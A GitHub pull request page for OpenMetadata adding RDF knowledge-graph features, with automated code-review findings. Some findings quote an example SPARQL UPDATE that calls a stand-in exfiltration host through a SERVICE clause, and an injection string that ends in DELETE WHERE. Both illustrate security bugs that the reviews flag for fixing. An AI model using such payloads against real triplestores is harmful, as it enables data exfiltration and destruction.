Skip to content

feat(rdf): SPARQL playground, MCP knowledge-graph tools, insights endpoints - #28042

Merged
harshach merged 131 commits into
mainfrom
harshach/rdf-fidelity
Aug 30, 2026
Merged

harshach merged 131 commits into
mainfrom
harshach/rdf-fidelity

Conversation

@harshach

@harshach harshach commented May 11, 2026 •

Copy link
Copy Markdown
Collaborator

Describe your changes

This PR closes the RDF fidelity gaps in the knowledge-graph stack and removes the experimental R2RML row-materialization feature (the schema-level concept-graph is the strategy going forward; row triples don't scale and were the wrong target). It adds: a SPARQL playground UI, five MCP knowledge-graph tools (SparqlQueryTool, EntityNeighborhoodTool, FindByTagTool, OntologyDescribeTool, ShaclValidateTool), insights endpoints (PageRank-based importance, Louvain communities, shortest-path explain-lineage, tag/glossary co-occurrence, recommendations), an inference-rule registry with a starter pack (transitive lineage, schema-tag/domain inheritance, PII-propagation-via-lineage), federated-SPARQL allowlist, expanded SHACL shapes + REST validator, custom-ontology upload/extension, PROV-O activity mapper, DQV quality mapper, usage mapper, and JSON-LD context coverage for AI/Automation/Governance entities. Deletes the R2RML mapping schema, validator, registry, applier, materializer workflow, OntologyEmitter sink, Linked-Data UI mode, and emitOntologyTriples profiler flag. Adds the OpenMetadata ontology TTL coverage (skos, dcat, prov, dprod, foaf) for the new entity types and a CHANGELOG.

Type of change

  • Improvement
  • New feature
  • Documentation

Tests

  • Unit + ITs added for every new component: SparqlQueryToolTest, EntityNeighborhoodToolTest, FindByTagToolTest, OntologyDescribeToolTest, ShaclValidateToolTest, CustomOntologyValidatorTest, SparqlFederationGuardTest, InferenceRuleValidatorTest, CentralityComputationTest, CommunityComputationTest, LouvainTest, PageRankTest, LineagePathBuilderTest, LineagePathFinderTest, ImportanceQueryBuilderTest, CoOccurrenceQueryBuilderTest, RecommendationsQueryBuilderTest, RdfShaclValidatorTest, OntologyDocumentTest, RdfUsageMapperTest, RdfJsonLdContextTest, expanded RdfPropertyMapperTest, and RdfResourceIT. SPARQL playground covered by SparqlPlayground.test.tsx.

UI screen recording / screenshots

SPARQL playground + KnowledgeGraph view: screenshot/recording to be attached on PR.

🤖 Generated with Claude Code


Summary by Gitar

  • Configuration and Schema:
    • Updated rdfConfiguration.ts and rdfConfiguration.json to support the new knowledge-graph infrastructure.
    • Renamed remoteEndpoint to RDF_REMOTE_ENDPOINT in openmetadata.yaml.
  • Migration Improvements:
    • Modified MigrationWorkflow.java to explicitly list pending migration versions in error logs.
    • Added OntologySqlMigrationParityTest to ensure schema consistency for RDF migration steps.
  • Localization:
    • Added panel-background-color to all internationalization files in openmetadata-ui to support new UI theming.
  • RDF Mapping:
    • Refactored RdfPropertyMapper to handle table constraints, profile DQV measurements, pipeline activities, and usage summaries as structured RDF.
    • Updated getColumnLineage to emit URI references for source/destination columns alongside string FQNs.

This will update automatically on new commits.

------|----------|
| openmetadata-service/src/main/java/org/openmetadata/service/resources/rdf/RdfResource.java | Large new endpoint surface (+600 lines): adds SHACL validate, inference rules CRUD, insights endpoints, and custom ontology management. The SELECT path correctly enforces the federation guard; the UPDATE endpoint still bypasses it (flagged in prior review, unaddressed). |
| openmetadata-mcp/src/main/java/org/openmetadata/mcp/tools/EntityNeighborhoodTool.java | New MCP tool: builds a neighborhood subgraph for an entity. buildConstructQuery has a correctness bug where ARM 3 is redundant and 2-hop+ incoming edges are entirely missing from the CONSTRUCT result, making the depth parameter misleading for the triples field. |
| openmetadata-mcp/src/main/java/org/openmetadata/mcp/tools/ShaclValidateTool.java | New MCP SHACL validation tool; the fullGraph gate uses Boolean.TRUE.equals() which rejects string 'true' inputs common in MCP payloads, silently blocking full-graph validation even when explicitly requested. |
| openmetadata-service/src/main/java/org/openmetadata/service/rdf/federation/SparqlFederationGuard.java | New federation guard using Jena ElementWalker to detect SERVICE clauses. Works correctly for read queries including nested subqueries. Cannot inspect SPARQL UPDATE strings. |
| openmetadata-service/src/main/java/org/openmetadata/service/rdf/insights/PageRank.java | New weighted PageRank with dangling-node mass redistribution and convergence tolerance. Logic appears correct. |
| openmetadata-service/src/main/java/org/openmetadata/service/rdf/insights/Louvain.java | New greedy first-pass Louvain community detection. Modularity gain formula is correct, edge symmetrization and zero-weight clamping are handled, determinism is preserved by sorting candidate communities. |
| openmetadata-service/src/main/java/org/openmetadata/service/rdf/insights/LineagePathFinder.java | BFS lineage path finder with visited-set cycle protection and one-query-per-frontier pattern. Logic appears correct; type decoration failure degrades gracefully. |
| openmetadata-service/src/main/java/org/openmetadata/service/rdf/extension/CustomOntologyValidator.java | New custom ontology validator. The hasCycle onStack dirty-read bug (flagged in prior review) remains present — false-positive cycle errors can appear for valid acyclic ontologies. |
| openmetadata-mcp/src/main/java/org/openmetadata/mcp/tools/SparqlQueryTool.java | Read-only SPARQL MCP tool with proper read-only gate, federation guard enforcement, result-size cap, and safe UTF-8 byte truncation. Looks correct. |
| openmetadata-ui/src/main/resources/ui/src/pages/SparqlPlayground/SparqlPlayground.component.tsx | New SPARQL playground UI with query editor, format/inference selectors, localStorage persistence, and tabular result rendering. No XSS risk. |

Sequence Diagram

%%{init: {'theme': 'neutral'}}%%
sequenceDiagram
    participant Client as MCP / REST Client
    participant RdfResource
    participant FedGuard as SparqlFederationGuard
    participant Fuseki as Fuseki Triplestore
    participant PageRank
    participant Louvain

    Note over Client,Fuseki: SPARQL Read path
    Client->>RdfResource: "POST /rdf/sparql {query}"
    RdfResource->>FedGuard: enforce(query)
    FedGuard-->>RdfResource: ok / FederationDisallowedException
    RdfResource->>Fuseki: executeSparqlQuery
    Fuseki-->>Client: results

    Note over Client,Fuseki: SPARQL Write path - guard NOT called
    Client->>RdfResource: "PUT /rdf/sparql {update}"
    RdfResource->>Fuseki: executeSparqlUpdate(query)
    Fuseki-->>Client: success

    Note over Client,Fuseki: Centrality recompute
    Client->>RdfResource: POST /rdf/insights/recompute-centrality
    RdfResource->>Fuseki: SELECT graph snapshot
    Fuseki-->>PageRank: adjacency map
    PageRank-->>RdfResource: scores
    RdfResource->>Fuseki: INSERT DATA scores to named graph

    Note over Client,Fuseki: MCP EntityNeighborhoodTool
    Client->>RdfResource: "entity_neighborhood {entityId, depth}"
    RdfResource->>Fuseki: CONSTRUCT (depth-N outgoing + 1-hop incoming only)
    Fuseki-->>Client: triples - incomplete for depth 2+ incoming
Loading
%%{init: {'theme': 'base', 'themeVariables': {"darkMode": true, "background": "#0d1117", "primaryColor": "#21262d", "primaryTextColor": "#e6edf3", "primaryBorderColor": "#8b949e", "lineColor": "#8b949e", "textColor": "#e6edf3", "edgeLabelBackground": "#161b22", "actorBkg": "#21262d", "actorBorder": "#8b949e", "actorTextColor": "#e6edf3", "actorLineColor": "#8b949e", "signalColor": "#8b949e", "signalTextColor": "#e6edf3", "noteBkgColor": "#373320", "noteBorderColor": "#d4a72c", "noteTextColor": "#f0e6c0", "labelBoxBkgColor": "#21262d", "labelBoxBorderColor": "#8b949e", "labelTextColor": "#e6edf3", "loopTextColor": "#e6edf3", "activationBkgColor": "#30363d", "activationBorderColor": "#8b949e"}}}%%
sequenceDiagram
    participant Client as MCP / REST Client
    participant RdfResource
    participant FedGuard as SparqlFederationGuard
    participant Fuseki as Fuseki Triplestore
    participant PageRank
    participant Louvain

    Note over Client,Fuseki: SPARQL Read path
    Client->>RdfResource: "POST /rdf/sparql {query}"
    RdfResource->>FedGuard: enforce(query)
    FedGuard-->>RdfResource: ok / FederationDisallowedException
    RdfResource->>Fuseki: executeSparqlQuery
    Fuseki-->>Client: results

    Note over Client,Fuseki: SPARQL Write path - guard NOT called
    Client->>RdfResource: "PUT /rdf/sparql {update}"
    RdfResource->>Fuseki: executeSparqlUpdate(query)
    Fuseki-->>Client: success

    Note over Client,Fuseki: Centrality recompute
    Client->>RdfResource: POST /rdf/insights/recompute-centrality
    RdfResource->>Fuseki: SELECT graph snapshot
    Fuseki-->>PageRank: adjacency map
    PageRank-->>RdfResource: scores
    RdfResource->>Fuseki: INSERT DATA scores to named graph

    Note over Client,Fuseki: MCP EntityNeighborhoodTool
    Client->>RdfResource: "entity_neighborhood {entityId, depth}"
    RdfResource->>Fuseki: CONSTRUCT (depth-N outgoing + 1-hop incoming only)
    Fuseki-->>Client: triples - incomplete for depth 2+ incoming
Loading

Comments Outside Diff (2)

  1. openmetadata-service/src/main/java/org/openmetadata/service/resources/rdf/RdfResource.java, line 1109-1133 (link)

    P1 security SPARQL UPDATE bypasses the federation allowlist

    updateSparql validates syntax with UpdateFactory.create but never calls getFederationGuard().enforce(query). More critically, even if it did, SparqlFederationGuard.parseQuietly uses QueryFactory.create, which only parses SELECT/ASK/DESCRIBE/CONSTRUCT — any SPARQL UPDATE string causes a QueryException there, so parseQuietly returns Optional.empty(), serviceEndpoints returns an empty list, and enforce becomes a no-op for every update. An admin can therefore submit INSERT {} WHERE { SERVICE <http://exfil.example.com/> { ?s ?p ?o } } and the guard never fires, bypassing the rdf.federation.allowedEndpoints allowlist entirely. The fix requires extending SparqlFederationGuard to walk update graph patterns via UpdateFactory.create and calling the guard on the update path too.

  2. openmetadata-service/src/main/java/org/openmetadata/service/resources/rdf/RdfResource.java, line 1096-1138 (link)

    P1 security SPARQL UPDATE bypasses the federation allowlist

    updateSparql validates syntax via UpdateFactory.create but never calls getFederationGuard().enforce(query). Even if it did, SparqlFederationGuard.parseQuietly uses QueryFactory.create, which only parses SELECT/ASK/DESCRIBE/CONSTRUCT — a SPARQL UPDATE string throws QueryException there, so parseQuietly returns Optional.empty(), serviceEndpoints returns an empty list, and enforce is a no-op for every UPDATE.

    An admin can submit INSERT {} WHERE { SERVICE <http://exfil.example.com/> { ?s ?p ?o } } and the guard never fires, bypassing the rdf.federation.allowedEndpoints allowlist entirely. The fix requires two parts: (1) call getFederationGuard().enforce(query) before executing, and (2) extend SparqlFederationGuard to also parse UPDATE bodies using UpdateFactory and walk their SERVICE elements.

Reviews (8): Last reviewed commit: "refactor(mcp): type EntityNeighborhoodTo..." | Re-trigger Greptile

Greptile Summary

This PR expands the RDF knowledge-graph stack. The main changes are:

  • SPARQL playground UI and RDF REST endpoints.
  • MCP tools for SPARQL, entity neighborhoods, tag lookup, ontology describe, and SHACL validation.
  • RDF insights for importance, communities, lineage paths, co-occurrence, and recommendations.
  • Custom ontology, inference-rule, PROV-O, DQV, usage, SHACL, and JSON-LD coverage.
  • Removal of the experimental R2RML row-materialization path.

Confidence Score: 5/5

This follow-up does not add a new blocking comment.

  • The custom ontology cycle fix addresses the stale recursion-stack failure that was previously reported.
  • No additional issue cleared the follow-up selection bar for a new inline comment.

Important Files Changed

Filename Overview
openmetadata-service/src/main/java/org/openmetadata/service/rdf/extension/CustomOntologyValidator.java Resets the DFS stack per root while preserving cycle detection for custom ontology class hierarchies.
openmetadata-service/src/main/java/org/openmetadata/service/resources/rdf/RdfResource.java Adds RDF endpoint surface for validation, inference rules, insights, ontology management, and SPARQL operations.
openmetadata-mcp/src/main/java/org/openmetadata/mcp/tools/DefaultToolContext.java Registers the new RDF MCP tool handlers in the MCP dispatch path.

Comments Outside Diff (2)

  1. openmetadata-service/src/main/java/org/openmetadata/service/resources/rdf/RdfResource.java, line 1109-1133 (link)

    P1 security SPARQL UPDATE bypasses the federation allowlist

    updateSparql validates syntax with UpdateFactory.create but never calls getFederationGuard().enforce(query). More critically, even if it did, SparqlFederationGuard.parseQuietly uses QueryFactory.create, which only parses SELECT/ASK/DESCRIBE/CONSTRUCT — any SPARQL UPDATE string causes a QueryException there, so parseQuietly returns Optional.empty(), serviceEndpoints returns an empty list, and enforce becomes a no-op for every update. An admin can therefore submit INSERT {} WHERE { SERVICE <http://exfil.example.com/> { ?s ?p ?o } } and the guard never fires, bypassing the rdf.federation.allowedEndpoints allowlist entirely. The fix requires extending SparqlFederationGuard to walk update graph patterns via UpdateFactory.create and calling the guard on the update path too.

  2. openmetadata-service/src/main/java/org/openmetadata/service/resources/rdf/RdfResource.java, line 1096-1138 (link)

    P1 security SPARQL UPDATE bypasses the federation allowlist

    updateSparql validates syntax via UpdateFactory.create but never calls getFederationGuard().enforce(query). Even if it did, SparqlFederationGuard.parseQuietly uses QueryFactory.create, which only parses SELECT/ASK/DESCRIBE/CONSTRUCT — a SPARQL UPDATE string throws QueryException there, so parseQuietly returns Optional.empty(), serviceEndpoints returns an empty list, and enforce is a no-op for every UPDATE.

    An admin can submit INSERT {} WHERE { SERVICE <http://exfil.example.com/> { ?s ?p ?o } } and the guard never fires, bypassing the rdf.federation.allowedEndpoints allowlist entirely. The fix requires two parts: (1) call getFederationGuard().enforce(query) before executing, and (2) extend SparqlFederationGuard to also parse UPDATE bodies using UpdateFactory and walk their SERVICE elements.

Reviews (13): Last reviewed commit: "Merge branch 'main' into harshach/rdf-fi..." | Re-trigger Greptile

Context used (3)

  • Context used - CLAUDE.md (source)
  • Context used - openmetadata-ui-core-components/CLAUDE.md (source)
  • Context used - AGENTS.md (source)

Copilot AI lite review requested due to automatic review settings May 11, 2026 18:29
@harshach
harshach requested review from a team, akash-jain-10 and tutte as code owners May 11, 2026 18:29
@github-actions github-actions Bot added backend safe to test Add this label to run secure Github workflows on PRs labels May 11, 2026
@github-actions

Copy link
Copy Markdown
Contributor

✅ TypeScript Types Auto-Updated

The generated TypeScript types have been automatically updated based on JSON schema changes in this PR.

@github-actions

Copy link
Copy Markdown
Contributor

The Python checkstyle failed.

Please run make py_format and py_format_check in the root of your repository and commit the changes to this PR.
You can also use pre-commit to automate the Python code formatting.

You can install the pre-commit hooks with make install_test precommit_install.

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR expands OpenMetadata’s RDF/knowledge-graph capabilities end-to-end: UI support for running SPARQL, spec-level ontology/context updates, and service/MCP tooling for querying, validation (SHACL), federation-guarding, inference rules, and “insights” SPARQL query builders.

Changes:

  • Adds SPARQL playground client support + routing, plus supporting UI enums/interfaces and locale keys.
  • Introduces/extends RDF specs (ontology changelog, JSON-LD contexts, RDF configuration schema) and adds inference-rule + federation configuration shapes.
  • Adds service-side RDF utilities (ontology document serving, SHACL validator, usage/quality/activity mappers, insights query builders) and MCP tools that expose read-only SPARQL + graph utilities.

Reviewed changes

Copilot reviewed 97 out of 100 changed files in this pull request and generated 9 comments.

Show a summary per file
File Description
openmetadata-ui/src/main/resources/ui/src/rest/rdfAPI.ts Adds SPARQL playground REST helper (runSparqlQuery) and result typing.
openmetadata-ui/src/main/resources/ui/src/pages/SparqlPlayground/SparqlPlayground.interface.ts Adds local types/constants for saved queries and sample queries.
openmetadata-ui/src/main/resources/ui/src/locale/languages/en-us.json Adds SPARQL playground-related labels/messages; removes one label key.
openmetadata-ui/src/main/resources/ui/src/locale/languages/zh-tw.json Adds SPARQL playground-related labels/messages; removes one label key.
openmetadata-ui/src/main/resources/ui/src/locale/languages/zh-cn.json Adds SPARQL playground-related labels/messages; removes one label key.
openmetadata-ui/src/main/resources/ui/src/locale/languages/tr-tr.json Adds SPARQL playground-related labels/messages; removes one label key.
openmetadata-ui/src/main/resources/ui/src/locale/languages/th-th.json Adds SPARQL playground-related labels/messages; removes one label key.
openmetadata-ui/src/main/resources/ui/src/locale/languages/ru-ru.json Adds SPARQL playground-related labels/messages; removes one label key.
openmetadata-ui/src/main/resources/ui/src/locale/languages/pt-pt.json Adds SPARQL playground-related labels/messages; removes one label key.
openmetadata-ui/src/main/resources/ui/src/locale/languages/pt-br.json Adds SPARQL playground-related labels/messages; removes one label key.
openmetadata-ui/src/main/resources/ui/src/locale/languages/pr-pr.json Adds SPARQL playground-related labels/messages; removes one label key.
openmetadata-ui/src/main/resources/ui/src/locale/languages/nl-nl.json Adds SPARQL playground-related labels/messages; removes one label key.
openmetadata-ui/src/main/resources/ui/src/locale/languages/mr-in.json Adds SPARQL playground-related labels/messages; removes one label key.
openmetadata-ui/src/main/resources/ui/src/locale/languages/ko-kr.json Adds SPARQL playground-related labels/messages; removes one label key.
openmetadata-ui/src/main/resources/ui/src/locale/languages/ja-jp.json Adds SPARQL playground-related labels/messages; removes one label key.
openmetadata-ui/src/main/resources/ui/src/locale/languages/he-he.json Adds SPARQL playground-related labels/messages; removes one label key.
openmetadata-ui/src/main/resources/ui/src/locale/languages/gl-es.json Adds SPARQL playground-related labels/messages; removes one label key.
openmetadata-ui/src/main/resources/ui/src/locale/languages/fr-fr.json Adds SPARQL playground-related labels/messages; removes one label key.
openmetadata-ui/src/main/resources/ui/src/locale/languages/es-es.json Adds SPARQL playground-related labels/messages; removes one label key.
openmetadata-ui/src/main/resources/ui/src/locale/languages/de-de.json Adds SPARQL playground-related labels/messages; removes one label key.
openmetadata-ui/src/main/resources/ui/src/locale/languages/ar-sa.json Adds SPARQL playground-related labels/messages; removes one label key.
openmetadata-ui/src/main/resources/ui/src/enums/codemirror.enum.ts Adds CodeMirror mode value for SPARQL.
openmetadata-ui/src/main/resources/ui/src/constants/constants.ts Adds route constant for SPARQL playground.
openmetadata-ui/src/main/resources/ui/src/components/KnowledgeGraph/KnowledgeGraph.tsx Refactors metadata-mode body rendering; removes a header label.
openmetadata-ui/src/main/resources/ui/src/components/AppRouter/AuthenticatedAppRouter.tsx Registers lazy-loaded SPARQL playground route.
openmetadata-spec/src/main/resources/rdf/ontology/openmetadata-prov.ttl Adds missing RDF prefix in PROV extension TTL.
openmetadata-spec/src/main/resources/rdf/ontology/CHANGELOG.md Introduces ontology changelog documenting fidelity changes.
openmetadata-spec/src/main/resources/rdf/contexts/lineage.jsonld Adjusts lineage JSON-LD mappings to avoid predicate collisions.
openmetadata-spec/src/main/resources/rdf/contexts/governance.jsonld Aligns governance mappings with SKOS predicates and adds new fields.
openmetadata-spec/src/main/resources/rdf/contexts/automation.jsonld Adds JSON-LD context for automation/workflow entities.
openmetadata-spec/src/main/resources/rdf/contexts/ai.jsonld Adds JSON-LD context for AI/MCP-related entities.
openmetadata-spec/src/main/resources/json/schema/api/configuration/rdfConfiguration.json Adds federation config block to RDF configuration schema.
openmetadata-spec/src/main/resources/json/schema/api/configuration/rdf/inferenceRule.json Adds schema for inference rule objects (CONSTRUCT/RDFS placeholder).
openmetadata-spec/src/main/resources/json/schema/api/configuration/rdf/customOntology.json Adds schema for custom ontology extension definitions.
openmetadata-service/src/test/java/org/openmetadata/service/resources/rdf/RdfShaclValidatorTest.java Adds SHACL validation tests for key shape constraints.
openmetadata-service/src/test/java/org/openmetadata/service/resources/rdf/OntologyDocumentTest.java Adds tests for ontology serving endpoint serialization.
openmetadata-service/src/test/java/org/openmetadata/service/rdf/translator/RdfUsageMapperTest.java Adds tests for RDF usage summary mapping.
openmetadata-service/src/test/java/org/openmetadata/service/rdf/insights/RecommendationsQueryBuilderTest.java Adds tests for recommendations SPARQL builder validation/shape.
openmetadata-service/src/test/java/org/openmetadata/service/rdf/insights/CoOccurrenceQueryBuilderTest.java Adds tests for co-occurrence/popularity/reach SPARQL builders.
openmetadata-service/src/main/resources/rdf/inference-rules/transitive-lineage-closure.json Adds starter inference rule JSON.
openmetadata-service/src/main/resources/rdf/inference-rules/schema-tag-inheritance.json Adds starter inference rule JSON.
openmetadata-service/src/main/resources/rdf/inference-rules/pii-propagation-via-lineage.json Adds starter inference rule JSON.
openmetadata-service/src/main/resources/rdf/inference-rules/domain-membership-inheritance.json Adds starter inference rule JSON.
openmetadata-service/src/main/java/org/openmetadata/service/resources/rdf/RdfShaclValidator.java Adds SHACL shapes loader + validator helper.
openmetadata-service/src/main/java/org/openmetadata/service/resources/rdf/OntologyDocument.java Adds merged ontology document loader + serializer for multiple formats.
openmetadata-service/src/main/java/org/openmetadata/service/rdf/translator/RdfUsageMapper.java Adds mapper emitting usage-summary triples.
openmetadata-service/src/main/java/org/openmetadata/service/rdf/translator/RdfQualityMapper.java Adds mapper emitting DQV quality measurement resources.
openmetadata-service/src/main/java/org/openmetadata/service/rdf/translator/RdfActivityMapper.java Adds PROV activity mapping for pipeline runs.
openmetadata-service/src/main/java/org/openmetadata/service/rdf/translator/JsonLdTranslator.java Loads new JSON-LD contexts and assigns column IDs for named column resources.
openmetadata-service/src/main/java/org/openmetadata/service/rdf/RdfUtils.java Adds RDF types for new entities and a helper to mint column URIs.
openmetadata-service/src/main/java/org/openmetadata/service/rdf/insights/RecommendationsQueryBuilder.java Adds recommendations SPARQL builder.
openmetadata-service/src/main/java/org/openmetadata/service/rdf/insights/ImportanceQueryBuilder.java Adds importance ranking SPARQL builder.
openmetadata-service/src/main/java/org/openmetadata/service/rdf/insights/CoOccurrenceQueryBuilder.java Adds co-occurrence/popularity/reach SPARQL builders.
openmetadata-service/src/main/java/org/openmetadata/service/rdf/inference/InferenceRuleValidator.java Adds strict validation for inference rule bodies.
openmetadata-service/src/main/java/org/openmetadata/service/rdf/inference/InferenceRuleRegistry.java Adds in-memory inference rule registry + starter pack loader.
openmetadata-service/src/main/java/org/openmetadata/service/rdf/federation/SparqlFederationGuard.java Adds SERVICE allowlist enforcement for federated SPARQL.
openmetadata-service/src/main/java/org/openmetadata/service/rdf/extension/CustomOntologyRegistry.java Adds in-memory registry for custom ontology extensions.
openmetadata-mcp/src/test/java/org/openmetadata/mcp/tools/OntologyDescribeToolTest.java Adds tests for ontology describe MCP tool.
openmetadata-mcp/src/test/java/org/openmetadata/mcp/tools/FindByTagToolTest.java Adds tests for find-by-tag MCP tool.
openmetadata-mcp/src/test/java/org/openmetadata/mcp/tools/EntityNeighborhoodToolTest.java Adds tests for entity neighborhood MCP tool.
openmetadata-mcp/src/main/resources/json/data/mcp/tools.json Registers new MCP tool schemas for KG/SPARQL features.
openmetadata-mcp/src/main/java/org/openmetadata/mcp/tools/SparqlQueryTool.java Adds read-only SPARQL MCP tool with federation guard + truncation.
openmetadata-mcp/src/main/java/org/openmetadata/mcp/tools/ShaclValidateTool.java Adds SHACL validation MCP tool (entity-scoped or full graph).
openmetadata-mcp/src/main/java/org/openmetadata/mcp/tools/OntologyDescribeTool.java Adds ontology describe MCP tool (full ontology or DESCRIBE).
openmetadata-mcp/src/main/java/org/openmetadata/mcp/tools/FindByTagTool.java Adds MCP tool to find entities by tag/glossary FQN.
openmetadata-mcp/src/main/java/org/openmetadata/mcp/tools/DefaultToolContext.java Wires new MCP tools into tool dispatcher.
ingestion/src/metadata/workflow/profiler.py Adds optional ontology emission step to profiler workflow.
docker/development/docker-compose-postgres-fuseki.yml Adds RDF endpoint env var for Fuseki-based dev stack.
Comments suppressed due to low confidence (1)

openmetadata-service/src/main/java/org/openmetadata/service/rdf/RdfUtils.java:20

  • New RDF types were added for workflowinstance, agentexecution, mcpexecution, automation, etc., but PROV_ACTIVITY_TYPES was not updated. Since JsonLdTranslator.toRdf() relies on getProvType() to add prov:Activity typing (when the primary rdf:type is not already a PROV class), these new execution-like entities will miss rdf:type prov:Activity, reducing PROV-O compatibility and potentially breaking queries that filter by prov:Activity. Please extend the PROV type sets to cover the new entity types.
  private static final Set<String> PROV_ACTIVITY_TYPES =
      Set.of(
          "pipeline",
          "ingestionpipeline",
          "storedprocedure",
          "dbtpipeline",
          "workflow",
          "pipelinerun");

@github-actions

Copy link
Copy Markdown
Contributor

The Python checkstyle failed.

Please run make py_format and py_format_check in the root of your repository and commit the changes to this PR.
You can also use pre-commit to automate the Python code formatting.

You can install the pre-commit hooks with make install_test precommit_install.

harshach added a commit that referenced this pull request May 11, 2026
…ntic correctness

Addresses the open review comments on PR #28042. Each fix is independent.

P0 — correctness / security
- ingestion/profiler.py: drop residual OntologyEmitter import (module removed
  in the R2RML pivot). Every pytest that imports profiler.py was failing with
  ModuleNotFoundError; reverts file to match main.
- RdfResource.validateGraph + ShaclValidateTool: replace `entityUri.replace(">", "")`
  with strict absolute-http(s)-IRI validation. Reject control chars, whitespace,
  quotes, and angle brackets up front. Closes the SPARQL-injection vector via
  newlines / # comments in the DESCRIBE template.
- EntityNeighborhoodTool.buildConstructQuery: rewrite to emit each path edge in
  its own UNION arm with the correct subject. The previous BIND(<entity> AS ?s)
  applied across all arms collapsed every multi-hop edge onto the start node.

P1 — semantic / robustness
- CommunityComputation.parseGraph: stop emitting both directions; the FILTER in
  the SPARQL canonicalises pairs and Louvain.addAllEdges symmetrises the
  adjacency internally. Double symmetrisation was doubling every edge weight.
- RdfActivityMapper: emit `prov:wasInformedBy` (Activity → Activity) instead of
  `prov:wasGeneratedBy` (Entity → Activity) for pipeline-run → pipeline. Closes
  the PROV-O domain/range inversion.
- RdfQualityMapper.measurementUri: deterministic URI built from subject + metric
  + timestamp. Random UUID was leaking orphan QualityMeasurement nodes on every
  re-emit because deletion only follows subject/object on the entity itself.
- SparqlQueryTool: byte-aware truncation. Previous substring-by-char cap could
  exceed maxBytes for multi-byte UTF-8 and never enforced a real byte limit.
- ShaclValidateTool: require explicit `fullGraph=true` to validate the entire
  triplestore; reject otherwise. Prevents accidental OOM on multi-GB graphs.
- RdfResource.getFederationGuard: synchronise the lazy-init path; the volatile
  field was double-checked without a lock.

P2 — code quality
- RdfResource.validateGraph: replace 14 inline FQN class names with proper
  imports (Model / ModelFactory / Lang / RDFDataMgr / RDFFormat / ValidationReport).
- RdfShaclValidator + OntologyDocument: catch RuntimeException (covers
  RiotException) in the static-init shapes/ontology load. A corrupt classpath
  resource now degrades to an empty model instead of failing class init and
  taking down /rdf/* and MCP describe.
- i18n: restore `label.view-mode` (still referenced by
  OntologyExplorer/FilterToolbar.tsx) and route the SparqlPlayground sample-query
  names through translation keys (`label.sparql-sample-*`). All 17 locales
  synced via `yarn i18n`.

Tests updated where the fix changes observable behaviour:
- EntityNeighborhoodToolTest: assert the new multi-hop subject preservation
  and the new depth-3 chain variable name.
- CommunityComputationTest: assert the directed-single-edge behaviour
  (Louvain symmetrises internally).
- RdfPropertyMapperTest: assert `prov:wasInformedBy` instead of
  `prov:wasGeneratedBy` for the pipeline activity.
- SparqlPlayground.test.tsx: drive the sample button by `nameKey`.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Copilot AI review requested due to automatic review settings May 11, 2026 19:48

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Copilot reviewed 95 out of 98 changed files in this pull request and generated 4 comments.

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Copilot reviewed 165 out of 986 changed files in this pull request and generated no new comments.

@gitar-bot

gitar-bot Bot commented Aug 30, 2026

Copy link
Copy Markdown
Code Review ✅ Approved 15 resolved / 15 findings

Large-scale RDF knowledge-graph expansion adding SPARQL playground UI, five MCP tools, insights endpoints (PageRank, Louvain communities, lineage paths, co-occurrence, recommendations), inference-rule registry, federated-SPARQL allowlist, SHACL validation, custom-ontology upload, PROV-O/DQV/usage mappers, and JSON-LD context coverage. Removes experimental R2RML row-materialization. All 15 findings from prior reviews resolved: SPARQL injection, neighborhood query correctness, Louvain edge symmetrization, type safety, SparqlFederationGuard initialization, tool duplication, federation bypass, forward-reference validation, URI validation, cardinality enforcement, relation metadata preservation, reindex staging, glossary loop guards, and relation-type filtering. No issues remain.

✅ 15 resolved
✅ Security: SPARQL injection via insufficient URI sanitization in validateGraph

📄 openmetadata-service/src/main/java/org/openmetadata/service/resources/rdf/RdfResource.java:197-200 📄 openmetadata-service/src/main/java/org/openmetadata/service/rdf/insights/CommunityComputation.java:202-205 📄 openmetadata-service/src/main/java/org/openmetadata/service/resources/rdf/RdfResource.java:199 📄 openmetadata-service/src/main/java/org/openmetadata/service/rdf/insights/CommunityComputation.java:203
The validateGraph endpoint (line 199) sanitizes user-supplied entityUri by only stripping > characters before interpolating into a SPARQL query: String.format("DESCRIBE <%s>", entityUri.replace(">", "")). This is insufficient — an attacker can inject SPARQL via newlines, # comments, or other control characters. For example, entityUri = "http://x> . } DELETE WHERE { ?s ?p ?o } #" would close the angle bracket context on a newline. Since this is an admin-only endpoint the blast radius is somewhat limited, but it's still a direct injection vector against the triplestore.

The same pattern appears in CommunityComputation.persistCommunities (line 203) where member URIs from SPARQL results are directly interpolated into SPARQL UPDATE statements — if a malicious triple exists in the graph, it could inject arbitrary updates.

✅ Bug: CONSTRUCT query flattens multi-hop neighborhood onto single subject

📄 openmetadata-mcp/src/main/java/org/openmetadata/mcp/tools/EntityNeighborhoodTool.java:102-116
In EntityNeighborhoodTool.buildConstructQuery (line 102-121), the WHERE clause captures ?p ?o triples from 1-3 hops away, but then does BIND(<entityUri> AS ?s) and the CONSTRUCT template is { ?s ?p ?o }. This means ALL matched triples — even those 2-3 hops from the start entity — are emitted with the start entity as subject, producing an incorrect/flattened graph. For depth≥2, triples from intermediate nodes lose their actual subject and get attributed to the root entity.

The tool's purpose is to return the neighborhood subgraph, but consumers will see a star graph rather than the actual topology.

✅ Performance: Double symmetrization quadruples edge weights in Louvain input

📄 openmetadata-service/src/main/java/org/openmetadata/service/rdf/insights/CommunityComputation.java:161-162 📄 openmetadata-service/src/main/java/org/openmetadata/service/rdf/insights/Louvain.java:128-129
CommunityComputation.parseGraph (lines 161-162) already symmetrizes the adjacency list by adding weight in both directions for every SPARQL result row. Then Louvain.addAllEdges (lines 128-129) symmetrizes again by doing adj.get(src).merge(dst, w, Double::sum) AND adj.get(dst).merge(src, w, Double::sum). Since the input already has both A→B and B→A entries, the result is each edge getting 4× its original weight.

While this may not change community assignments (the ratio is preserved in the modularity gain formula), it inflates totalWeight and degree[] arrays by 4×, making the absolute modularity score meaningless for comparison with other runs or standard benchmarks. It also doubles memory usage for the adjacency structure.

✅ Quality: 14 fully-qualified class names in validateGraph method

📄 openmetadata-service/src/main/java/org/openmetadata/service/resources/rdf/RdfResource.java:203-217
